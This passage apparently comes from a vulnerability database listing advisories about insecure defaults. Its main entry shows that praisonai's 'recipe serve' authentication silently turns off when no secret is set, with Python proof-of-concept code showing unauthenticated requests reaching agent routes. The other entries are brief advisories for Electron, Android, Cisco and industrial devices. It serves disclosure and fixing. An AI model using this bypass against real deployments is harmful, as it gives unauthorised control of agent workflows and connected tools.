"github_reviewed_at": "2026-06-18T13:56:55Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# praisonai: `recipe serve` authentication middleware silently disables itself when no secret is set\n\n**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai` on PyPI\n**Version tested:** 4.6.48.\n**File:** `praisonai/recipe/serve.py` (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n\n---\n\n## TL;DR\n\n`praisonai/recipe/serve.py:312-410` defines two auth middlewares (`APIKeyAuthMiddleware`, `JWTAuthMiddleware`). Both contain the same \"fail open when the secret is unset\" branch at the top of their `dispatch`:\n\n```python\nasync def dispatch(self, request, call_next):\n if request.url.path == \"/health\":\n return await call_next(request)\n expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n if not expected_key:\n # No key configured, allow request\n return await call_next(request)\n ...\n```\n\n```python\nasync def dispatch(self, request, call_next):\n if request.url.path == \"/health\":\n return await call_next(request)\n secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n if not secret:\n return await call_next(request)\n ...\n```\n\nThe realistic mis-deploy:\n\n1. operator sets `auth: api-key` (or `auth: jwt`) in their recipe YAML, expecting that line alone to enable auth,\n2. operator does not set the corresponding `api_key:` / `jwt_secret:` value in the same YAML, AND\n3. operator does not export `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` in the environment.\n\nThe middleware silently treats every request as authenticated and forwards it to the recipe-execution route.\n\nCombined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to \"I have to set `auth: api-key` to lock this down\" still don\u0027t get auth on the recipe-serve surface unless they also remember the secret.\n\n## Root cause\n\n```\n Expected behavior, after setting `auth: api-key` in the recipe YAML:\n \"Now my recipe endpoints require an X-API-Key header.\"\n\n Actual behavior (serve.py:325-333):\n - middleware reads `expected_key = api_key or\n os.environ.get(\"PRAISONAI_API_KEY\")`\n - if `expected_key` is None (neither YAML nor env supplied\n one), middleware logs nothing and forwards the request.\n - operator\u0027s recipe routes accept the request as if it were\n authenticated. request.state.user is unset.\n\n Impact:\n The middleware\u0027s documented job is \"validate the API key\n against the configured value\". The configured-value-is-None\n case is exactly the case the middleware should fail closed\n on \u2014 operator has signalled they want auth. Failing open\n silently turns a documented authentication into a runtime\n no-op.\n```\n\n## Empirical verification\n\n`poc/poc.py`:\n\n1. Imports the installed praisonai 4.6.48 `praisonai.recipe.serve` module (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n2. Clears `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` env vars to simulate the mis-deploy.\n3. Calls `serve.create_auth_middleware(\u0027api-key\u0027, api_key=None, jwt_secret=None)` and instantiates the returned middleware.\n4. Builds a Starlette `Request` for `/runs` (the recipe-execution path) with empty headers \u2014 no `X-API-Key`, no `Authorization`.\n5. `await middleware.dispatch(request, fake_call_next)` returns the sentinel `\u0027REACHED-DOWNSTREAM (path=/runs)\u0027` from the fake `call_next` \u2014 proving the middleware passed the request through without authenticating.\n6. Repeats the test for `auth_type=\u0027jwt\u0027` \u2014 same bypass on the JWT path.\n\nRun log (`poc/run-log.txt`) summary:\n\n```\n[2] auth_type=\u0027api-key\u0027, no api_key / no PRAISONAI_API_KEY env\n middleware.dispatch -\u003e \u0027REACHED-DOWNSTREAM (path=/runs)\u0027\n[3] auth_type=\u0027jwt\u0027, no jwt_secret / no PRAISONAI_JWT_SECRET env\n middleware.dispatch -\u003e \u0027REACHED-DOWNSTREAM (path=/runs)\u0027\n APIKeyAuthMiddleware allowed the request through without an API key.\n JWTAuthMiddleware allowed the request through without a Bearer token.\n[4] grep \u0027# No key configured, allow request\u0027 -\u003e line 333\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Impact\n\nThe recipe-serve surface runs agentic workflows \u2014 same execution posture as `praisonai/jobs/server.py` but separately configured / separately reached. Unauth access on this surface yields:\n\n- Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.\n- Read the inputs / outputs of in-flight recipes \u2014 the operator\u0027s prompts and the LLM responses.\n- In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.\n\n\n## Anchors\n\n- `praisonai/recipe/serve.py:325-333` \u2014 `APIKeyAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:352-355` \u2014 `JWTAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:688-694` \u2014 call site:\n ```python\n auth_type = config.get(\"auth\")\n if auth_type and auth_type != \"none\":\n auth_middleware = create_auth_middleware(\n auth_type,\n api_key=config.get(\"api_key\"),\n jwt_secret=config.get(\"jwt_secret\"),\n )\n ```\n\n## Suggested fix\n\nWhen the operator has signalled \"I want auth\", refuse to start without the corresponding secret rather than silently degrading:\n\n```python\ndef create_auth_middleware(auth_type, api_key=None, jwt_secret=None):\n if auth_type == \u0027api-key\u0027:\n expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n if not expected_key:\n raise SystemExit(\n \"auth_type=\u0027api-key\u0027 requested but no API key is \"\n \"configured. Either set `api_key:` in your recipe \"\n \"YAML or export PRAISONAI_API_KEY. Refusing to \"\n \"start with a silently disabled auth middleware.\"\n )\n ...\n elif auth_type == \u0027jwt\u0027:\n secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n if not secret:\n raise SystemExit(\n \"auth_type=\u0027jwt\u0027 requested but no JWT secret is \"\n \"configured. Either set `jwt_secret:` in your recipe \"\n \"YAML or export PRAISONAI_JWT_SECRET. Refusing to \"\n \"start with a silently disabled auth middleware.\"\n )\n ...\n```\n\nThis is the same pattern the sibling `praisonai.gateway` server applies in `assert_external_bind_safe` at `praisonai/gateway/auth.py:48-54` \u2014 refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai 4.6.48 `praisonai recipe serve` configures\nauthentication via a `auth:` field in the recipe YAML. Setting\n`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or\nJWTAuthMiddleware on the FastAPI app \u2014 and the operator\u0027s expectation\nis that those endpoints now require a valid API key / Bearer JWT.\n\nIn reality, both middlewares contain an early-return that silently\nbypasses authentication when the corresponding secret has not been\nconfigured (neither via the recipe YAML nor via the\nPRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -\u003e int:\n print(\u0027=\u0027 * 72)\n print(\u0027praisonai 4.6.48 \u2014 recipe serve auth middleware silent bypass\u0027)\n print(\u0027=\u0027 * 72)\n\n # Realistic deploy: operator sets `auth: api-key` in YAML but\n # forgets to set api_key / env var.\n for env_var in (\u0027PRAISONAI_API_KEY\u0027, \u0027PRAISONAI_JWT_SECRET\u0027):\n if env_var in os.environ:\n del os.environ[env_var]\n\n from praisonai.recipe import serve as serve_mod\n\n src = inspect.getsourcefile(serve_mod)\n with open(src, \u0027rb\u0027) as f:\n raw = f.read()\n sha = hashlib.sha256(raw).hexdigest()\n\n print()\n print(f\u0027[1] serve.py path : {src}\u0027)\n print(f\u0027 sha256 : {sha}\u0027)\n\n from starlette.requests import Request\n create_auth_middleware = serve_mod.create_auth_middleware\n\n async def fake_call_next(request):\n return f\"REACHED-DOWNSTREAM (path={request.url.path})\"\n\n async def driver(auth_type: str, headers=None):\n scope = {\n \u0027type\u0027: \u0027http\u0027, \u0027method\u0027: \u0027GET\u0027, \u0027path\u0027: \u0027/runs\u0027,\n \u0027headers\u0027: headers or [], \u0027query_string\u0027: b\u0027\u0027, \u0027scheme\u0027: \u0027http\u0027,\n \u0027server\u0027: (\u0027127.0.0.1\u0027, 8000), \u0027app\u0027: None, \u0027root_path\u0027: \u0027\u0027,\n }\n request = Request(scope, receive=lambda: None)\n mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)\n if mw_cls is None:\n return \u0027middleware-import-failed\u0027\n instance = mw_cls(app=None)\n return await instance.dispatch(request, fake_call_next)\n\n import asyncio\n\n print()\n print(\"[2] auth_type=\u0027api-key\u0027, no api_key / no PRAISONAI_API_KEY env\")\n result_apikey = asyncio.run(driver(\u0027api-key\u0027))\n print(f\" middleware.dispatch -\u003e {result_apikey!r}\")\n\n print()\n print(\"[3] auth_type=\u0027jwt\u0027, no jwt_secret / no PRAISONAI_JWT_SECRET env\")\n result_jwt = asyncio.run(driver(\u0027jwt\u0027))\n print(f\" middleware.dispatch -\u003e {result_jwt!r}\")\n\n vulnerable = False\n if isinstance(result_apikey, str) and \u0027REACHED-DOWNSTREAM\u0027 in result_apikey:\n vulnerable = True\n print(\u0027 APIKeyAuthMiddleware allowed the request through without an API key.\u0027)\n if isinstance(result_jwt, str) and \u0027REACHED-DOWNSTREAM\u0027 in result_jwt:\n vulnerable = True\n print(\u0027 JWTAuthMiddleware allowed the request through without a Bearer token.\u0027)\n\n # Static check that the bypass is on the code path.\n text = raw.decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\n needle_api = \u0027# No key configured, allow request\u0027\n apikey_line = next(\n (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),\n None,\n )\n print()\n print(\u0027[4] static cross-check \u2014 bypass branch on the code path\u0027)\n print(f\" grep \u0027{needle_api}\u0027 -\u003e line {apikey_line}\")\n\n if not vulnerable:\n print(\u0027UNEXPECTED \u2014 the dispatch did not return the bypass result.\u0027)\n return 1\n\n print()\n print(\u0027VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes\u0027)\n print(\u0027 both silently bypass auth when the operator sets auth_type\u0027)\n print(\u0027 but forgets the corresponding secret \u2014 unauthenticated access\u0027)\n print(\u0027 to recipe execution endpoints.\u0027)\n print(\u0027VERDICT: VULNERABLE\u0027)\n return 0\n\nif __name__ == \u0027__main__\u0027:\n sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai\"); sys.path.insert(0,BK)\nfor p in [\"praisonai\",\"praisonai.recipe\"]:\n m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nspec=importlib.util.spec_from_file_location(\"praisonai.recipe.serve\", BK+\"/praisonai/recipe/serve.py\")\nserve=importlib.util.module_from_spec(spec); serve.__package__=\"praisonai.recipe\"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)\nprint(\"[*] Loaded REAL praisonai recipe/serve.py\")\nos.environ.pop(\"PRAISONAI_API_KEY\", None) # operator forgot to export it too\n\nfrom starlette.applications import Starlette\nfrom starlette.routing import Route\nfrom starlette.responses import PlainTextResponse\nfrom starlette.testclient import TestClient\ndef make_app(mw):\n app=Starlette(routes=[Route(\"/run\", lambda r: PlainTextResponse(\"AGENT EXECUTED\"), methods=[\"POST\"])])\n app.add_middleware(mw); return TestClient(app)\n\n# (A) operator set `auth: api-key` but forgot api_key + env -\u003e REAL factory returns middleware that SILENTLY bypasses\nMW_bypass = serve.create_auth_middleware(\"api-key\", api_key=None) # REAL factory\nr = make_app(MW_bypass).post(\"/run\")\nprint(f\"[+] auth=\u0027api-key\u0027, NO key configured, NO header -\u003e HTTP {r.status_code} body={r.text!r}\")\n\n# (B) control: same middleware WITH a key configured -\u003e unauthenticated request is correctly 401\nMW_enforced = serve.create_auth_middleware(\"api-key\", api_key=\"real-secret\")\nr2 = make_app(MW_enforced).post(\"/run\")\nprint(f\"[*] auth=\u0027api-key\u0027, key CONFIGURED, NO header -\u003e HTTP {r2.status_code} (correctly rejected)\")\n\nassert r.status_code==200 and \"AGENT EXECUTED\" in r.text and r2.status_code==401\nprint(\"[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -\u003e agent route reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] Loaded REAL praisonai recipe/serve.py\n[+] auth=\u0027api-key\u0027, NO key configured, NO header -\u003e HTTP 200 body=\u0027AGENT EXECUTED\u0027\n[*] auth=\u0027api-key\u0027, key CONFIGURED, NO header -\u003e HTTP 401 (correctly rejected)\n[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -\u003e agent route reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
"id": "GHSA-j4hj-7hfh-g2f4",
"modified": "2026-06-18T13:56:55Z",
"published": "2026-06-18T13:56:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j4hj-7hfh-g2f4"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "praisonai: recipe serve auth middleware silently disables itself when no secret is set"
}
GHSA-J7FC-GM4G-JFR6
Vulnerability from github – Published: 2025-07-07 09:30 – Updated: 2025-07-07 09:30A remote unauthenticated attacker may use default certificates to generate JWT Tokens and gain full access to the tool and all connected devices.
{
"affected": [],
"aliases": [
"CVE-2025-41672"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-07T07:15:23Z",
"severity": "CRITICAL"
},
"details": "A remote unauthenticated attacker may use default certificates to generate JWT Tokens and gain full access to the tool and all connected devices.",
"id": "GHSA-j7fc-gm4g-jfr6",
"modified": "2025-07-07T09:30:25Z",
"published": "2025-07-07T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41672"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2025-057"
},
{
"type": "WEB",
"url": "https://wago.csaf-tp.certvde.com/.well-known/csaf/white/2025/vde-2025-057.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J839-F55X-QP69
Vulnerability from github – Published: 2024-02-07 00:30 – Updated: 2024-02-14 21:30Certain configuration available in the communication channel for encoders could expose sensitive data when reader configuration cards are programmed. This data could include credential and device administration keys.
{
"affected": [],
"aliases": [
"CVE-2024-22388"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-06T23:15:08Z",
"severity": "MODERATE"
},
"details": "\nCertain configuration available in the communication channel for encoders could expose sensitive data when reader configuration cards are programmed. This data could include credential and device administration keys.\n\n",
"id": "GHSA-j839-f55x-qp69",
"modified": "2024-02-14T21:30:32Z",
"published": "2024-02-07T00:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22388"
},
{
"type": "WEB",
"url": "https://support.hidglobal.com"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-037-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J8Q8-WF57-GPHV
Vulnerability from github – Published: 2025-12-08 18:30 – Updated: 2025-12-08 21:30In findAvailRecognizer of VoiceInteractionManagerService.java, there is a possible way to become the default speech recognizer app due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2025-48629"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-08T17:16:19Z",
"severity": "HIGH"
},
"details": "In findAvailRecognizer of VoiceInteractionManagerService.java, there is a possible way to become the default speech recognizer app due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-j8q8-wf57-gphv",
"modified": "2025-12-08T21:30:21Z",
"published": "2025-12-08T18:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48629"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JC9H-J7VP-J9JW
Vulnerability from github – Published: 2022-10-28 19:00 – Updated: 2025-10-13 15:31The HEIDENHAIN Controller TNC 640, version 340590 07 SP5, running HEROS 5.08.3 controlling the HARTFORD 5A-65E CNC machine is vulnerable to improper authentication, which may allow an attacker to deny service to the production line, steal sensitive data from the production line, and alter any products created by the production line.
{
"affected": [],
"aliases": [
"CVE-2022-41648"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-28T18:15:00Z",
"severity": "CRITICAL"
},
"details": "The HEIDENHAIN Controller TNC 640, version 340590 07 SP5, running HEROS 5.08.3 controlling the HARTFORD 5A-65E CNC machine is vulnerable to improper authentication, which may allow an attacker to deny service to the production line, steal sensitive data from the production line, and alter any products created by the production line.",
"id": "GHSA-jc9h-j7vp-j9jw",
"modified": "2025-10-13T15:31:18Z",
"published": "2022-10-28T19:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41648"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-22-298-02"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-298-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JF4F-59HF-2932
Vulnerability from github – Published: 2022-03-31 00:00 – Updated: 2022-04-06 00:01In miniadb, there is a possible way to get read/write access to recovery system properties due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-201308542
{
"affected": [],
"aliases": [
"CVE-2021-39767"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-30T16:15:00Z",
"severity": "HIGH"
},
"details": "In miniadb, there is a possible way to get read/write access to recovery system properties due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-201308542",
"id": "GHSA-jf4f-59hf-2932",
"modified": "2022-04-06T00:01:52Z",
"published": "2022-03-31T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39767"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/android-12l"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JFQG-HF23-QPW2
Vulnerability from github – Published: 2026-04-03 02:46 – Updated: 2026-04-06 23:11Impact
Apps that pass VideoFrame objects (from the WebCodecs API) across the contextBridge are vulnerable to a context isolation bypass. An attacker who can execute JavaScript in the main world (for example, via XSS) can use a bridged VideoFrame to gain access to the isolated world, including any Node.js APIs exposed to the preload script.
Apps are only affected if a preload script returns, resolves, or passes a VideoFrame object to the main world via contextBridge.exposeInMainWorld(). Apps that do not bridge VideoFrame objects are not affected.
Workarounds
Do not pass VideoFrame objects across contextBridge. If an app needs to transfer video frame data, serialize it to an ArrayBuffer or ImageBitmap before bridging.
Fixed Versions
41.0.0-beta.840.7.039.8.0
For more information
If there are any questions or comments about this advisory, please email security@electronjs.org
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "39.0.0-alpha.1"
},
{
"fixed": "39.8.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "40.0.0-alpha.1"
},
{
"fixed": "40.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "41.0.0-alpha.1"
},
{
"fixed": "41.0.0-beta.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34780"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T02:46:56Z",
"nvd_published_at": "2026-04-04T01:16:39Z",
"severity": "HIGH"
},
"details": "### Impact\nApps that pass `VideoFrame` objects (from the WebCodecs API) across the `contextBridge` are vulnerable to a context isolation bypass. An attacker who can execute JavaScript in the main world (for example, via XSS) can use a bridged `VideoFrame` to gain access to the isolated world, including any Node.js APIs exposed to the preload script.\n\nApps are only affected if a preload script returns, resolves, or passes a `VideoFrame` object to the main world via `contextBridge.exposeInMainWorld()`. Apps that do not bridge `VideoFrame` objects are not affected.\n\n### Workarounds\nDo not pass `VideoFrame` objects across `contextBridge`. If an app needs to transfer video frame data, serialize it to an `ArrayBuffer` or `ImageBitmap` before bridging.\n\n### Fixed Versions\n* `41.0.0-beta.8`\n* `40.7.0`\n* `39.8.0`\n\n### For more information\nIf there are any questions or comments about this advisory, please email [security@electronjs.org](mailto:security@electronjs.org)",
"id": "GHSA-jfqg-hf23-qpw2",
"modified": "2026-04-06T23:11:50Z",
"published": "2026-04-03T02:46:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/electron/electron/security/advisories/GHSA-jfqg-hf23-qpw2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34780"
},
{
"type": "PACKAGE",
"url": "https://github.com/electron/electron"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Electron: Context Isolation bypass via contextBridge VideoFrame transfer"
}
GHSA-JGF9-3C8R-RC2P
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46A vulnerability in Cisco Elastic Services Controllers could allow an authenticated, remote attacker to log in to an affected system as the Linux admin user, aka an Insecure Default Credentials Vulnerability. More Information: CSCvc76651. Known Affected Releases: 21.0.0.
{
"affected": [],
"aliases": [
"CVE-2017-6684"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-13T06:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in Cisco Elastic Services Controllers could allow an authenticated, remote attacker to log in to an affected system as the Linux admin user, aka an Insecure Default Credentials Vulnerability. More Information: CSCvc76651. Known Affected Releases: 21.0.0.",
"id": "GHSA-jgf9-3c8r-rc2p",
"modified": "2022-05-13T01:46:44Z",
"published": "2022-05-13T01:46:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6684"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170607-esc3"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98979"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JQFW-J9GV-Q6CP
Vulnerability from github – Published: 2025-05-13 12:31 – Updated: 2025-05-13 12:31A vulnerability has been identified in IEC 1Ph 7.4kW Child socket (8EM1310-2EH04-0GA0) (All versions < V2.135), IEC 1Ph 7.4kW Child socket/ shutter (8EM1310-2EN04-0GA0) (All versions < V2.135), IEC 1Ph 7.4kW Parent cable 7m (8EM1310-2EJ04-3GA1) (All versions < V2.135), IEC 1Ph 7.4kW Parent cable 7m incl. SIM (8EM1310-2EJ04-3GA2) (All versions < V2.135), IEC 1Ph 7.4kW Parent socket (8EM1310-2EH04-3GA1) (All versions < V2.135), IEC 1Ph 7.4kW Parent socket incl. SIM (8EM1310-2EH04-3GA2) (All versions < V2.135), IEC 1Ph 7.4kW Parent socket/ shutter (8EM1310-2EN04-3GA1) (All versions < V2.135), IEC 1Ph 7.4kW Parent socket/ shutter SIM (8EM1310-2EN04-3GA2) (All versions < V2.135), IEC 3Ph 22kW Child cable 7m (8EM1310-3EJ04-0GA0) (All versions < V2.135), IEC 3Ph 22kW Child socket (8EM1310-3EH04-0GA0) (All versions < V2.135), IEC 3Ph 22kW Child socket/ shutter (8EM1310-3EN04-0GA0) (All versions < V2.135), IEC 3Ph 22kW Parent cable 7m (8EM1310-3EJ04-3GA1) (All versions < V2.135), IEC 3Ph 22kW Parent cable 7m incl. SIM (8EM1310-3EJ04-3GA2) (All versions < V2.135), IEC 3Ph 22kW Parent socket (8EM1310-3EH04-3GA1) (All versions < V2.135), IEC 3Ph 22kW Parent socket incl. SIM (8EM1310-3EH04-3GA2) (All versions < V2.135), IEC 3Ph 22kW Parent socket/ shutter (8EM1310-3EN04-3GA1) (All versions < V2.135), IEC 3Ph 22kW Parent socket/ shutter SIM (8EM1310-3EN04-3GA2) (All versions < V2.135), IEC ERK 3Ph 22 kW Child cable 7m (8EM1310-3FJ04-0GA0) (All versions < V2.135), IEC ERK 3Ph 22 kW Child cable 7m (8EM1310-3FJ04-0GA1) (All versions < V2.135), IEC ERK 3Ph 22 kW Child cable 7m (8EM1310-3FJ04-0GA2) (All versions < V2.135), IEC ERK 3Ph 22 kW Child socket (8EM1310-3FH04-0GA0) (All versions < V2.135), IEC ERK 3Ph 22 kW Parent socket (8EM1310-3FH04-3GA1) (All versions < V2.135), IEC ERK 3Ph 22 kW Parent socket incl. SI (8EM1310-3FH04-3GA2) (All versions < V2.135), UL Commercial Cellular 48A NTEP (8EM1310-5HF14-1GA2) (All versions < V2.135), UL Commercial Child 40A w/ 15118 HW (8EM1310-4CF14-0GA0) (All versions < V2.135), UL Commercial Child 48A BA Compliant (8EM1315-5CG14-0GA0) (All versions < V2.135), UL Commercial Child 48A w/ 15118 HW (8EM1310-5CF14-0GA0) (All versions < V2.135), UL Commercial Parent 40A with Simcard (8EM1310-4CF14-1GA2) (All versions < V2.135), UL Commercial Parent 48A (USPS) (8EM1317-5CG14-1GA2) (All versions < V2.135), UL Commercial Parent 48A BA Compliant (8EM1315-5CG14-1GA2) (All versions < V2.135), UL Commercial Parent 48A with Simcard BA (8EM1310-5CF14-1GA2) (All versions < V2.135), UL Commercial Parent 48A, 15118, 25ft (8EM1310-5CG14-1GA1) (All versions < V2.135), UL Commercial Parent 48A, 15118, 25ft (8EM1314-5CG14-2FA2) (All versions < V2.135), UL Commercial Parent 48A, 15118, 25ft (8EM1315-5HG14-1GA2) (All versions < V2.135), UL Commercial Parent 48A,15118 25ft Sim (8EM1310-5CG14-1GA2) (All versions < V2.135), VersiCharge Blue™ 80A AC Cellular (8EM1315-7BG16-1FH2) (All versions < V2.135). Affected devices contain Modbus service enabled by default. This could allow an attacker connected to the same network to remotely control the EV charger.
{
"affected": [],
"aliases": [
"CVE-2025-31930"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-13T10:15:24Z",
"severity": "HIGH"
},
